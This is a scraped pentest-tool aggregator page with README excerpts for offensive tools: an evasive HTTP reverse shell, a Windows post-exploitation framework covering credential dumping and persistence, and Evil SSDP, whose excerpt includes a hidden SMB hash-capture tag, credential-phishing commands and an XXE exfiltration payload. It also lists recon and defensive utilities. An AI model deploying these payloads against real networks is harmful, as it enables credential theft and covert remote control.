Quantcast
Channel: KitPloit - PenTest Tools!
Viewing all 5816 articles
Browse latest View live

HTTP Asynchronous Reverse Shell - Asynchronous Reverse Shell Using The HTTP Protocol

$
0
0

Today there are many ways to create a reverse shell in order to be able to remotely control a machine through a firewall. Indeed, outgoing connections are not always filtered.
However security software and hardware (IPS, IDS, Proxy, AV, EDR...) are more and more powerful and can detect these attacks. Most of the time the connection to a reverse shell is established through a TCP or UDP tunnel.
I figured that the best way to stay undetected would be to make it look like legitimate traffic. The HTTP protocol is the most used by a standard user. Moreover it is almost never filtered so as not to block access to websites.

How it works ?
  1. The client app is executed on the target machine.
  2. The client initiates the connection with the server.
  3. The server accepts the connection.
Then:
-The client queries the server until it gets instructions.
-The attacker provides instructions to the server.
-When a command is defined, the client executes it and returns the result.
And so on, until the attacker decides to end the session.


Disclaimer
This tool is only intended to be a proof of concept demonstration tool for authorized security testing. Make sure you check with your local laws before running this tool.

Features

Today, as a poc, the following functionalities are implemented:
  1. Fake HTTP traffic to appear as searches on bing.com.
  2. Commands are base64 encoded in the HTML response.
  3. The result of the commands is encoded in base64 as a cookie by the client.
  4. [Optional] SSL support; by default it is a fake bing.com certificate.
  5. Random delay between each client call to avoid triggering IDSs.
  6. Random template is used for each response from the server.
  7. Re-use of the same powershell process to avoid triggering EDRs.
  8. Support for all Cmd and Powershell commands.
  9. [Optional] The client can display a fake error message at startup.
  10. The client is hidden from tasks manager.
  11. [Optional] The client can be run as an administrator.

AV Detection
Only 3 out of 69 products were able to detect the client as malicious, without applying any evasive or obfuscation techniques.


Demonstration

Client side


Server side


Configuration

Client : C Sharp
  1. Open HARS.sln in Visual Studio
Config.cs
This file contains parameters ; Assign the values you want :
class Config
{
/* Behavior */
// Display a fake error msg at startup
public static bool DisplayErrorMsg = true;
// Title of fake error msg
public static string ErrorMsgTitle = "This application could not be started.";
// Description of fake error msg
public static string ErrorMsgDesc = "Unhandled exception has occured in your application. \r\r Object {0} is not valid.";
// Min delay between the client calls
public static int MinDelay = 2;
// Max delay between the client calls
public static int MaxDelay = 5;
// Fake uri requested - Warning : it must begin with "search" (or need a change on server side)
public static string Url = "search?q=search+something&qs=n&form=QBRE&cvid=";
/* Listener */
// Hostname/IP of C&C server
public static string Server = "https://12 7.0.0.1";
// Listening port of C&C server
public static string Port = "443";
// Allow self-signed or "unsecure" certificates - Warning : often needed in corporate environment using proxy
public static bool AllowInsecureCertificate = true;
}
HARS.manifest
Change this line to run by default the client with certain privileges :
<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />
With
<requestedExecutionLevel level="asInvoker" uiAccess="false" />
or
<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />
or
<requestedExecutionLevel level="highestAvailable" uiAccess="false" />
Projet properties
Here you can customize the assembly information and an icon for the file.


Note : Target .NET framework version is set to 4.6 which is available by default in Windows 10.
For Windows 7, choose .NET 3.5 if you don't want to have to install missing features.

Build
Build the project from Visual Studio. The client should be generated in Http Asynchronous Reverse Shell\HARS_Client\HARS\bin\Release folder.
Done!

Server : Python
HARS_Server.py Location : Http Asynchronous Reverse Shell\HARS_Server\www
Simply change the port or location on the certificate if needed in the config section.
# Config
PORT = 443
CERT_FILE = '../server.pem'

Run
python HARS_Server.py

Notes
-HTTP Logs are located in Http Asynchronous Reverse Shell\HARS_Server\logs\
-You can add your own templates (any html page) in Http Asynchronous Reverse Shell\HARS_Server\templates



HoneyBot - Capture, Upload And Analyze Network Traffic

$
0
0

HoneyBot is a set of scripts and libraries for capturing and analyzing packet captures with PacketTotal.com. Currently this library provides three scripts:
  • capture-and-analyze.py - Capture on an interface for some period of time, and upload capture for analysis.
  • upload-and-analyze.py - Upload and analyze multiple packet captures to PacketTotal.com.
  • trigger-and-analyze.py - Listen for unknown connections, and begin capturing when one is made. Captures are automatically uploaded and analyzed.

Warning
Any packet capture uploaded to becomes publicly available upon completed analysis.

Limitations
  • Only .pcap and .pcapng files supported.
  • 6 MB analysis max.
For more information visit PacketTotal.com.

Use Cases
  1. Set your honeypot up to stream network traffic directly to PacketTotal.com for analysis.
  2. Analyze a personal repository of malicious PCAPs.
  3. Determine the benignity of hundreds of packet captures.
  4. Automate analyzing (and sharing) honeypot packet captures.
  5. Automate preliminary malware analysis/triage.

Prerequisites:
  • WireShark must be installed.
    • If you are on a linux based operating system you can just install t-shark
      • apt-get install tshark
  • Python 3.5 or later is required.
  • You must request an api key, before you can leverage these scripts.

Installation
  • pip install -r requirements.txt
  • python setup.py install

Usage

capture-and-analyze.py
usage: capture-and-analyze.py [-h] [--seconds SECONDS] [--interface INTERFACE]
[--analyze] [--list-interfaces] [--list-pcaps]
[--export-pcaps]

Capture, upload and analyze network traffic; powered by PacketTotal.com.

optional arguments:
-h, --help show this help message and exit
--seconds SECONDS The number of seconds to capture traffic for.
--interface INTERFACE
The name of the interface (--list-interfaces to show
available)
--analyze If included, capture will be uploaded for analysis to
PacketTotal.com.
--list-interfaces Lists the available interfaces.
--list-pcaps Lists pcaps submitted to PacketTotal.com for analysis.
--export-pcaps Writes pcaps submitted to PacketTotal.com for analysis
to a csv file.

upload-and-analyze.py
usage: upload-and-analyze.py [-h] [--path PATH [PATH ...]] [--analyze]
[--list-pcaps] [--export-pcaps]

Upload and analyze .pcap/.pcapng files in bulk; powered by PacketTotal.com.

optional arguments:
-h, --help show this help message and exit
--path PATH [PATH ...]
One or more paths to pcap or directory of pcaps.
--analyze If included, capture will be uploaded for analysis to
PacketTotal.com.
--list-pcaps Lists pcaps submitted to PacketTotal.com for analysis.
--export-pcaps Writes pcaps submitted to PacketTotal.com for analysis
to a csv file.

trigger-and-analyze.py
usage: trigger-and-analyze.py [-h] [--interface INTERFACE] [--learn LEARN]
[--listen] [--capture-seconds CAPTURE_SECONDS]
[--list-interfaces] [--list-pcaps]
[--export-pcaps]

Listen for unknown connections, and begin capturing when one is made. Captures
are automatically uploaded and analyzed; powered by PacketTotal.com

optional arguments:
-h, --help show this help message and exit
--interface INTERFACE
The name of the interface (--list-interfaces to show
available)
--learn LEARN The number of seconds from which to build the known
connections whitelist. Connections in this whitelist
will be ignored.
--listen If included, we will begin listening for unknown
con nections, and immediately starting a packet capture
and uploading to PacketTotal.com for analysis.
--capture-seconds CAPTURE_SECONDS
The number of seconds worth of network traffic to
capture and analyze after a trigger has fired.
--list-interfaces Lists the available interfaces.
--list-pcaps Lists pcaps submitted to PacketTotal.com for analysis.
--export-pcaps Writes pcaps submitted to PacketTotal.com for analysis
to a csv file.


NTLMRecon - A Tool To Enumerate Information From NTLM Authentication Enabled Web Endpoints

$
0
0

Note that the tool is still under development. Things may break anytime - hence, beta!
A fast and flexible NTLM reconnaissance tool without external dependencies. Useful to find out information about NTLM endpoints when working with a large set of potential IP addresses and domains.
NTLMRecon is built with flexibilty in mind. Need to run recon on a single URL, an IP address, an entire CIDR range or combination of all of it all put in a single input file? No problem! NTLMRecon got you covered. Read on.
Internal wordlists are from the awesome nyxgeek/lyncsmash repo

Overview
NTLMRecon looks for NTLM enabled web endpoints, sends a fake authentication request and enumerates the following information from the NTLMSSP response:
  1. AD Domain Name
  2. Server name
  3. DNS Domain Name
  4. FQDN
  5. Parent DNS Domain
Since ntlmrecon leverages a python implementation of NTLMSSP, it eliminates the overhead of running Nmap NSE http-ntlm-info for every successful discovery.

Installation

Arch
If you're on Arch Linux or any Arch linux based distribution, you can grab the latest build from AUR

Generic Installation
  1. Clone the repository - git clone https://github.com/sachinkamath/ntlmrecon/
  2. RECOMMENDED - Install virtualenv pip install virtualenv
  3. Start a new virtual environment - virtualenv venv and activate it with source venv/bin/activate
  4. Run the setup file - python setup.py install
  5. Run ntlmrecon - ntlmrecon --help

Usage


_ _ _____ _ ___ _________
| \ | |_ _| | | \/ || ___ \
| \| | | | | | | . . || |_/ /___ ___ ___ _ __
| . ` | | | | | | |\/| || // _ \/ __/ _ \| '_ \
| |\ | | | | |____| | | || |\ \ __/ (_| (_) | | | |
\_| \_/ \_/ \_____/\_| |_/\_| \_\___|\___\___/|_| |_|

v.0.1 beta - Y'all still exposing NTLM endpoints?

usage: ntlmrecon [-h] [--input INPUT | --infile INFILE] [--wordlist WORDLIST] [--threads THREADS] [--output-type] --outfile OUTFILE [--random-user-agent] [--force-all] [--shuffle]

optional arguments:
-h, --help show this help message and exit
--input INPUT Pass input as an IP address, URL or CIDR to enumerate NTLM endpoints
--infile INFILE Pass input from a local file
--wordlist WORDLIST O verride the internal wordlist with a custom wordlist
--threads THREADS Set number of threads (Default: 10)
--output-type, -o Set output type. JSON and CSV supported (Default: CSV) (TODO: JSON)
--outfile OUTFILE Set output file name (Default: ntlmrecon.csv)
--random-user-agent TODO: Randomize user agents when sending requests (Default: False) (TODO)
--force-all Force enumerate all endpoints even if a valid endpoint is found for a URL (Default : False)
--shuffle Break order of the input files (TODO: Improve logic)

Example Usage

Recon on a single URL
$ ntlmrecon --input https://mail.contoso.com --outfile ntlmrecon.csv

Recon on a CIDR range or IP address
$ ntlmrecon --input 192.168.1.1/24 --outfile ntlmrecon-ranges.csv

Recon on an input file
NTLM recon automatically detects the type of input per line and gives you results automatically. CIDR ranges are expanded automatically even when read from a text file.
Input file can be something as mixed up as :
mail.contoso.com
CONTOSOHOSTNAME
10.0.13.2/28
192.168.222.1/24
https://mail.contoso.com
To run recon with an input file, just run :
$ ntlmrecon --infile /path/to/input/file --outfile ntlmrecon-fromfile.csv

Feedback
If you'd like to see a feature added into the tool or something doesn't work for you, please open a new issue


Proton Framework - A Windows Post Exploitation Framework Similar To Other Penetration Testing Tools Such As Meterpreter And Powershell Invader Framework

$
0
0


About Proton Framework
Proton Framework is a Windows post exploitation framework similar to other penetration 
testing tools such as Meterpreter and Powershell Invader Framework. The major difference is that
the Proton Framework does most of its operations using Windows Script Host (a.k.a. JScript/VBScript),
with compatibility in the core to support a default installation of Windows 2000 with no service
packs (and potentially even versions of NT4) all the way through Windows 10.

Getting started

Proton installation
cd proton
chmod +x install.sh
./install.sh

Proton uninstallation
cd proton
chmod +x uninstall.sh
./uninstall.sh

Proton Framework execution
To execute Proton Framework you 
should execute the following command.
proton

Proton Framework modules


There are to kinds of Proton Framework modules - 
stagers and implants. Proton stagers hook target
zombies and allow you to use implants. Proton
implants starts jobs on remote target zombie.

Proton Framework stagers
Proton Framework stagers hook target 
zombie and allow you to use implants.
NameDescription
mshtaServes payloads using mshta.exe.
regsvrServes payloads using regsvr32.exe.
rundllServes payloads using rundll32.exe.
diskServes payloads using files on disk.
bitsServes payloads using BitsAdmin.
wmicServes payloads using WMIC XSL.

Proton Framework implants
Proton Framework implants starts 
jobs on a remote zombie target.
NameDescription
bypassuac_compdefaultsBypass UAC via registry hijack for ComputerDefaults.exe.
bypassuac_compmgmtlauncherBypass UAC via registry hijack for CompMgmtLauncher.exe.
bypassuac_eventvwrUses eventvwr.exe exploit to bypass UAC on Windows 7, 8, and 10.
bypassuac_fodhelperBypass UAC via registry hijack for fodhelper.exe.
bypassuac_sdcltUses sdclt.exe exploit to bypass UAC on Windows 10.
bypassuac_sluiBypass UAC via registry hijack for slui.exe.
system_createserviceElevate from administrative session to SYSTEM via SC.exe.
youtubeMaxes volume and opens the specified YouTube video in a hidden window.
voicePlays a message over text-to-speech.
clipboardRetrieves the current content of the user clipboard.
comsvcs_lsassUtilizes comsvcs.dll to create a MiniDump of LSASS, parses with pypykatz.
enum_domain_infoRetrieve information about the Windows domain.
hashdump_dcDomain controller hashes from the NTDS.dit file.
hashdump_samRetrieves hashed passwords from the SAM hive.
loot_finderFinds loot on the target machine.
user_hunterLocate users logged on to domain computers (using Dynamic Wrapper X).
mimikatz_dotnetInjects a reflective-loaded DLL to run powerkatz.dll.
mimikatz_dynwrapxInjects a reflective-loaded DLL to run powerkatz.dll (using Dynamic Wrapper X).
mimikatz_tashlibExecutes arbitrary shellcode using the TashLib COM object.
shellcode_dotnetExecutes arbitrary shellcode using the DotNet2JS technique. Inject shellcode into a host process via createremotethread as a new thread.
shellcode_dynwrapxExecutes arbitrary shellcode using the Dynamic Wrapper X COM object.
shellcode_excelRuns arbitrary shellcode payload (if Excel is installed).
enable_rdesktopEnables remote desktop on the target.
exec_cmdRun an arbitrary command on the target, and optionally receive the output.
add_userAdds a either a local or domain user.
registryAdds a Proton stager payload in the registry.
schtasksEstablishes persistence via a scheduled task.
wmiCreates persistence using a WMI subscription.
password_boxPrompt a user to enter their password.
exec_psexecRun a command on another machine using psexec from sysinternals.
exec_wmiExecutes a command on another system.
stage_wmiHook a zombie on another machine using WMI.
tcpUses HTTP to scan open TCP ports on the target zombie LAN.
download_fileDownloads a file from the target zombie.
multi_moduleRun a number of implants in succession.
upload_fileUploads a file from the listening server to the target zombies.

TLS communications
INFO: To enable TLS communications, you will need 
to host your Proton stager on a valid domain
(i.e. malicious.com) with a known Root CA signed
certificate. Windows will check its certificate
store and will NOT allow a self-signed certificate.

Proton Framework disclaimer
Usage of the Proton Framework for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state, federal, and international laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program.


Evil SSDP - Spoof SSDP Replies And Create Fake UPnP Devices To Phish For Credentials And NetNTLM Challenge/Response

$
0
0

This tool responds to SSDP multicast discover requests, posing as a generic UPNP device. Your spoofed device will magically appear in Windows Explorer on machines in your local network. Users who are tempted to open the device are shown a configurable phishing page. This page can load a hidden image over SMB, allowing you to capture or relay the NetNTLM challenge/response.
Templates are also provided to capture clear-text credentials via basic authentication and logon forms, and creating your own custom templates is quick and easy.

This requires no existing credentials to execute and works even on networks that have protected against Responder attacks by disabling NETBIOS and LLMNR. Any Operating System or application leveraging SSDP/UPNP can be targeted, but most of the current weaponization has been aimed at Windows 10.
Video: Phishing Overview

As a bonus, this tool can also detect and exploit potential zero-day vulnerabilities in the XML parsing engines of applications using SSDP/UPNP. If a vulnerable device is found, it will alert you in the UI and then mount your SMB share or exfiltrate data with NO USER INTERACTION REQUIRED via an XML External Entity (XXE) attack.
Video: 0-Day Overview

Usage
The most basic run looks like this:
evil_ssdp.py eth0
You need to provide the network interface at a minimum. The interface is used for both the UDP SSDP interaction as well as hosting a web server for the XML files and phishing page.
The tool will automatically update an IMG tag in the phishing page using the IP of the interface you provide. To work with challenge/response, you'll need to launch an SMB server at that interface (like Impacket). This address can be customized with the -s option.
Some example scenarios:
# Use wlan0 for device advertisement and phishing, capturing NetNTLM and
# asking for clear-text via a spoofed Office365 logon form. Redirect to
# Microsoft aftering capturing credentials:
evil_ssdp.py wlan0 -t office365 -u 'https://office.microsoft.com'

# Same as above, but assuming your SMB server is running on another IP:
evil_ssdp.py wlan0 -t office365 -u 'https://office.microsoft.com' \
-s 192.168.1.205

# Prompt for creds using basic auth and redirect to Azure:
evil_ssdp.py wlan0 -t microsoft-azure -u \
'https://azure.microsoft.com/auth/signin/' -b

# Hope for an XXE vul to capture NetNTLM while Impacket/Responder is running
on wlan0:
evil_ssdp.py wlan0 -t xxe-smb
Full usage details:
usage: evil_ssdp.py [-h] [-p PORT] [-t TEMPLATE] [-s SMB] [-b] [-r REALM]
[-u URL]
interface

positional arguments:
interface Network interface to listen on.

optional arguments:
-h, --help show this help message and exit
-p PORT, --port PORT Port for HTTP server. Defaults to 8888.
-t TEMPLATE, --template TEMPLATE
Name of a folder in the templates directory. Defaults
to "office365". This will determine xml and phishing
pages used.
-s SMB, --smb SMB IP address of your SMB server. Defalts to the primary
address of the "interface" provided.
-b, --basic Enable base64 authentication for templates and write
credentials to log file.
-r REALM, --realm REALM
Realm when prompt ing target for authentication via
Basic Auth.
-u URL, --url URL Redirect to this URL. Works with templates that do a
POST for logon forms and with templates that include
the custom redirect JavaScript (see README for more
info).[example: -r https://google.com]
-a, --analyze Run in analyze mode. Will NOT respond to any SSDP
queries, but will still enable and run the web server
for testing.

Templates
The following templates come with the tool. If you have good design skills, please contribute one of your own!
  • office365: Will show up in Windows Explorer as "Office365 Backups". Phishing page looking like Office365 logon will POST credentials back to you. These will be flagged in the UI and logged in the log file. Recommend to run with '-u https://www.office.com' to redirect users to the legit site after stealing their credentials. Developer: pentestgeek.
  • scanner: Will show up in Windows Explorer as a scanner with the name "Corporate Scanner [3 NEW SCANS WAITING]". Double-clicking will bring to a generic looking logon page. This template would do well with customization for your particular target. Template mostly copied from this template.
  • microsft-azure: Will appear in Windows Explorer as "Microsoft Azure Storage". Landing page is the Windows Live login page when cookies are disabled. Recommend to use with the -u option to redirect users to real login page. Developer: Dwight Hohnstein.
  • bitcoin: Will show up in Windows Explorer as "Bitcoin Wallet". Phishing page is just a random set of Bitcoin private/public/address info. There are no actual funds in these accounts.
  • password-vault: Will show up in Windows Explorer as "IT Password Vault". Phishing page contains a short list of fake passwords / ssh keys / etc.
  • xxe-smb: Will not likely show up in Windows Explorer. Used for finding zero day vulnerabilities in XML parsers. Will trigger an "XXE - VULN" alert in the UI for hits and will attempt to force clients to authenticate with the SMB server, with 0 interaction.
  • xxe-exfil: Another example of searching for XXE vulnerabilities, but this time attempting to exfiltrate a test file from a Windows host. Of course you can customize this to look for whatever specific file you are after, Windows or Linux. In the vulnerable applications I've discovered, exfiltration works only on a file with no whitepace or linebreaks. This is due to how it is injected into the URL of a GET request. If you get this working on multi-line files, PLEASE let me know how you did it.
Creating your own templates is easy. Simply copy the folder of an existing template and edit the following files:
  • device.xml: Here is where you will define what the device looks like inside Windows Explorer.
  • present.html: This is the phishing page displayed when a target opens the evil device. Craft anything you like here. Note that Python's string template will parse this, so you will need to use $$ in place of $ anywhere to escape the template engine.
  • service.xml: Not yet implemented. May be needed for more complex UPNP spoofing in the future.
In your phishing page (present.html), use variables like the following for additional functionality:
# The following line will initiate a NetNTLM challenge/response using the IP
# address of either the interface you provide or an optionally specified IP
# address:
<img src="file://///$smb_server/smb/hash.jpg" style="display: none;" />

# The following will leverage optionally specified URL redirection. This is
# handy when used with basic authentication to redirect to a valid site. This
# line is built in to the microsoft-azure template:
<script>
var url = "$redirectUrl";
if (url != "") {
document.location = url;
}
</script>


# If using an HTTP form to capture clear-text credentials, use code like the
# following. Also any template doing a POST request will automatically
# support the '-u' parameter to redirect after the POST completes. The tool
# will monitor POSTs to this URL for credentials:
<form method="POST" action="/ssdp/do_login.h tml" name="LoginForm">
The tool currently only correctly creates devices for the UPNP 'Basic' device type, although it is responding to the SSDP queries for all devices types. If you know UPNP well, you can create a new template with the correct parameters to fufill requests for other device types as well. There is still a lot to explore here with exploiting specific applications and the way they expect and leverage UPNP devices.

Technical Details
Simple Service Discovery Protocol (SSDP) is used by Operating Systems (Windows, MacOS, Linux, IOS, Android, etc) and applications (Spotify, Youtube, etc) to discover shared devices on a local network. It is the foundation for discovering and advertising Universal Plug & Play (UPNP) devices.
Devices attempting to discover shared network resources will send a UDP multicast out to 239.255.255.250 on port 1900. The source port is randomized. An example request looks like this:
M-SEARCH * HTTP/1.1
Host: 239.255.255.250:1900
ST: upnp:rootdevice
Man: "ssdp:discover"
MX: 3
To interact with this host, we need to capture both the source port and the 'ST' (Service Type) header. The response MUST be sent to the correct source port and SHOULD include the correct ST header. Note that it is not just the Windows OS looking for devices - scanning a typical network will show a large amount of requests from applications inside the OS (like Spotify), mobile phones, and other media devices. Windows will only play ball if you reply with the correct ST, other sources are more lenient.
evil_ssdp will extract the requested ST and send a reponse like the following:
HTTP/1.1 200 OK
CACHE-CONTROL: max-age=1800
DATE: Tue, 16 Oct 2018 20:17:12 GMT
EXT:
LOCATION: http://192.168.1.214:8888/ssdp/device-desc.xml
OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01
01-NLS: uuid:7f7cc7e1-b631-86f0-ebb2-3f4504b58f5c
SERVER: UPnP/1.0
ST: upnp:rootdevice
USN: uuid:7f7cc7e1-b631-86f0-ebb2-3f4504b58f5c::upnp:rootdevice
BOOTID.UPNP.ORG: 0
CONFIGID.UPNP.ORG: 1
The headers (specifically LOCATION, 01-NLS, ST, and USN) are constructed dynamically. This tells the requestor where to find more information about our device. Here, we are forcing Windows (and other requestors) to access our 'Device Descriptor' xml file and parse it. The USN is just a random string and needs only to be unique and formatted properly.
evil_ssdp will pull the 'device.xml' file from the chosen templates folder and dynamically plug in some variables such as your IP address. This 'Device Descriptor' file is where you can customize some juicy-sounding friendly names and descriptions. It looks like this:
<?xml version="1.0"?>
<root xmlns="urn:schemas-upnp-org:device-1-0">
<specVersion>
<major>1</major>
<minor>0</minor>
</specVersion>
<URLBase>http://$local_ip:$local_port</URLBase>
<device>
<presentationURL>http://$local_ip:$local_port/present.html</presentationURL>
<deviceType>urn:schemas-upnp-org:device:Basic:1</deviceType>
<friendlyName>Office365 Backups</friendlyName>
<modelDescription>Secure Storage for Office365</modelDescription>
<manufacturer>MS Office</manufacturer>
<modelName>Office 365 Backups</modelName>
<UDN>$session_usn</UDN>
<serviceList>
<service>
<serviceType>urn:schemas-upnp-org:device:Basic:1</serviceType>
<serviceId>urn:schemas-upnp-org:d evice:Basic</serviceId>
<controlURL>/ssdp/service-desc.xml</controlURL>
<eventSubURL>/ssdp/service-desc.xml</eventSubURL>
<SCPDURL>/ssdp/service-desc.xml</SCPDURL>
</service>
</serviceList>

</device>
</root>
A key line in this file contains the 'Presentation URL'. This is what will load in a user's browser if they decide to manually double-click on the UPNP device. evil_ssdp will host this file automatically (present.html from the chosen template folder), plugging in your source IP address into an IMG tag to access an SMB share that you can host with tools like Impacket, Responder, or Metasploit.
The IMG tage looks like this:
<img src="file://///$local_ip/smb/hash.jpg" style="display: none;" /><br>

Zero-Day Hunting
By default, this tool essentially forces devices on the network to parse an XML file. A well-known attack against applications that parse XML exists - XML External Entity Processing (XXE).
This type of attack against UPNP devices in likely overlooked - simply because the attack method is complex and not readily apparent. However, evil_ssdp makes it very easy to test for vulnerable devices on your network. Simply run the tool and look for a big [XXE VULN!!!] in the output. NOTE: using the xxe template will likely not spawn visibile evil devices across the LAN, it is meant only for zero-interaction scenarios.
This is accomplished by providing a Device Descriptor XML file with the following content:
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file://///$smb_server/smb/hash.jpg" >
<!ENTITY xxe-url SYSTEM "http://$local_ip:$local_port/ssdp/xxe.html" >
]>
<data>&xxe;&xxe-url;</data>
When a vulnerable XML parser reads this file, it will automatically mount the SMB share (allowing you to crack the hash or relay) as well as access an HTTP URL to notify you it was discovered. The notification will contain the HTTP headers and an IP address, which should give you some info on the vulnerable application. If you see this, please do contact the vendor to fix the issue. Also, I would love to hear about any zero days you find using the tool. And please do mention the tool in your CVE.

Thanks
  • Thanks to ZeWarren and his project here. I used this extensively to understand how to get the basics for SSDP working.
  • Thanks to the pentest geek and their phishing templates here. I used the Office365 login page from there.
  • Thanks to Dwight Hohnstein for his great work to implement cool features like basic authentication, realm support, and automatic redirection in evil_ssdp. He kindly wrote and provided code to make this work.
  • Thanks to the following folks for submitting bugfixes:
    • Nadar, Ender Akbas, bubbleguuum
Also thanks to Microsoft for developing lots of fun insecure things to play with.
This is a security research tool. Use only where granted explicit permission from the network owner.


SSRF Sheriff - A Simple SSRF-testing Sheriff Written In Go

$
0
0

This is an SSRFtesting sheriff written in Go. It was originally created for the Uber H1-4420 2019 London Live Hacking Event, but it is now being open-sourced for other organizations to implement and contribute back to.

Features
  • Repsond to any HTTP method (GET, POST, PUT, DELETE, etc.)
  • Configurable secret token (see base.example.yaml)
  • Content-specific responses
    • With secret token in response body
      • JSON
      • XML
      • HTML
      • CSV
      • TXT
    • Without token in response body
      • GIF
      • PNG
      • JPEG
      • MP3
      • MP4

Usage
go get github.com/teknogeek/ssrf-sheriff
cd $GOPATH/src/github.com/teknogeek/ssrf-sheriff
cp config/base.example.yaml config/base.yaml

# ... configure ...

go run main.go

Example Requests:
Plaintext
$ curl -sSD- http://127.0.0.1:8000/foobar
HTTP/1.1 200 OK
Content-Type: text/plain
X-Secret-Token: SUP3R_S3cret_1337_K3y
Date: Mon, 14 Oct 2019 16:37:36 GMT
Content-Length: 21

SUP3R_S3cret_1337_K3y
XML
$ curl -sSD- http://127.0.0.1:8000/foobar.xml
HTTP/1.1 200 OK
Content-Type: application/xml
X-Secret-Token: SUP3R_S3cret_1337_K3y
Date: Mon, 14 Oct 2019 16:37:41 GMT
Content-Length: 81

<SerializableResponse><token>SUP3R_S3cret_1337_K3y</token></SerializableResponse>

TODO
  • Dynamically generate valid responses with the secret token visible for
    • GIF
    • PNG
    • JPEG
    • MP3
    • MP4
  • Secrets in HTTP response generated/created/signed per-request, instead of returning a single secret for all requests
  • TLS support

Credit
Inspired (and requested) by Frans Rosén during his talk at BountyCon '19 Singapore


FuzzBench - Fuzzer Benchmarking As A Service

$
0
0

FuzzBench is a free service that evaluates fuzzers on a wide variety of real-world benchmarks, at Google scale. The goal of FuzzBench is to make it painless to rigorously evaluate fuzzingresearch and make fuzzing research easier for the community to adopt. We invite members of the research community to contribute their fuzzers and give us feedback on improving our evaluation techniques.
FuzzBench provides:
  • An easy API for integrating fuzzers.
  • Benchmarks from real-world projects. FuzzBench can use any OSS-Fuzz project as a benchmark.
  • A reporting library that produces reports with graphs and statistical tests to help you understand the significance of results.
To participate, submit your fuzzer to run on the FuzzBench platform by following our simple guide. After your integration is accepted, we will run a large-scale experiment using your fuzzer and generate a report comparing your fuzzer to others. See a sample report.

Sample Report
You can view a sample report here. This report is generated using 10 fuzzers against 24 real-world benchmarks, with 20 trials each and over a duration of 24 hours.
When analyzing reports, we recommend:
  • Checking the strengths and weaknesses of a fuzzer against various benchmarks.
  • Looking at aggregate results to understand the overall significance of the result.
Please provide feedback on any inaccuracies and potential improvements (such as integration changes, new benchmarks, etc.) by opening a GitHub issue here.

Documentation
Read our detailed documentation to learn how to use FuzzBench.

Contacts
Join our mailing list for discussions and announcements, or send us a private email at fuzzbench@google.com.


Sifter - A OSINT, Recon And Vulnerability Scanner

$
0
0

Sifter is a osint, recon & vulnerability scanner. It combines a plethara of tools within different module sets in order to quickly perform recon tasks, check network firewalling, enumerate remote and local hosts, and scan for the 'blue' vulnerabilities within microsft and if unpatched, exploit them. It uses tools like blackwidow and konan for webdir enumeration and attack surface mapping rapidly using ASM.
Gathered info is saved to the results folder, these output files can be easily parsed over to TigerShark in order to be utilised within your campaign. Or compiled for s final report to wrap up a penetration test.

# Please, if you fork this repo ensure to keep it updated.
** Frequently updated
** Looking for a developer to help incorporate more offensive modules for exploitation, along side the recon.

Installation
* This will download and install all required tools
*
$ git clone https://github.com/s1l3nt78/sifter.git
$ cd sifter
$ chmod +x install.sh
$ ./install.sh

Modules:
# Information Modules
= Enterprise Information Gatherers
-theHarvester - https://github.com/laramies/theHarvester
-Osmedeus - https://github.com/j3ssie/Osmedeus
-ReconSpider - https://github.com/bhavsec/reconspider

= Targeted Information Gatherers
-Seeker - https://github.com/thewhiteh4t/seeker
-Sherlock - https://github.com/sherlock-project/sherlock


# Domain Recon Gathering
-Omnibus - https://github.com/InQuest/omnibus
-DnsTwist - https://github.com/elceef/dnstwist
-DomainFuzz - https://github.com/monkeym4ster/DomainFuzz
-Armory - https://github.com/depthsecurity/armory


# Exploitation Tools
= MS Exploiters
-ActiveReign - https://github.com/m8r0wn/ActiveReign
-iSpy - https://github.com/Cyb0r9/ispy

= Website Exploiters
-Dark Star - http s://github.com/s1l3nt78/Dark-Star
-NekoBot - https://github.com/tegal1337/NekoBotV1

= Exploit Searching
-FindSploit - https://github.com/1N3/Findsploit
-ShodanSploit - https://github.com/shodansploit/shodansploit

-TigerShark (Phishing) - https://github.com/s1l3nt78/TigerShark

-FuzzyDander (Obtained though issue request. Thereafter you may get this module. It is not privided openly
as to stop script kiddies from causing to much damage. Thank you for understanding.)

-BruteDUM (Bruteforcer) - https://github.com/GitHackTools/BruteDum

# Network Scanners
-Nmap - https://nmap.org
-AttackSurfaceMapper - https://github.com/superhedgy/AttackSurfaceMapper
-aSnip - https://github.com/harleo/asnip


# HoneyPot Detection Systems
-HoneyCaught - https://github.com/aswinmguptha/HoneyCaught
-SniffingBear - https://github.com/MrSuicideParrot/SniffingBear


# Vulnerability Scanners
-Flan - https://github.com/cloudflare/flan
-Rapidscan - https://github.com/skavngr/rapidscan
-Yuki-Chan - https://github.com/Yukinoshita47/Yuki-Chan-The-Auto-Pentest


# WebApplication Scanners
-Sitadel - https://github.com/shenril/Sitadel
-wafw00f - https://github.com/EnableSecurity/wafw00f
-AapFinder - https://github.com/Technowlogy-Pushpender/aapfinder
-BFAC - https://github.com/mazen160/bfac


# Website Scanners & Enumerators
-Nikto - https://github.com/sullo/nikto
-Blackwidow - https://github.com/1N3/blackwidow
-WPScan - https://github.com/wpscanteam/wpscan
-Konan - https://github.com/m4ll0k/Konan

Sifter Help Menu
$ sifter runs the programs bringing up the menu in a cli environment
$ sifter -c will check the existing hosts in the hostlist
$ sifter -a 'target-ip' appends the hostname/IP to host file
$ sifter -m Opens the Main Module menu
$ sifter -e Opens the Exploitation Modules
$ sifter -i Opens the Info-based Module menu
$ sifter -d Opens the Domain Focused Modules
$ sifter -n Opens the Network Mapping Modules menu
$ sifter -w Opens the Website Focused Modules
$ sifter -wa Opens the Web-App Focused Module menu
$ sifter -v Opens the Vulnerability Scanning Module Menu
$ sifter -u Checks for/and installs updates
$ sifter -h This Help Menu
**TODO - Incorporation of exploitative modules
Any suggestions for extra modules are welcome. Just submit an issue with your tool suggestion Otherwise for developers just submit a pull request.



RedRabbit - Red Team PowerShell Script

Pentest Tools Framework - A Database Of Exploits, Scanners And Tools For Penetration Testing

$
0
0



Pentest Tools Framework is a database of exploits, Scanners and tools for penetration testing. Pentest is a powerful framework includes a lot of tools for beginners. You can explore kernel vulnerabilities, network vulnerabilities.

NEWS Modules PTF UPDATE
PTF OPtions
        -------------------------------------------------------------------------------------
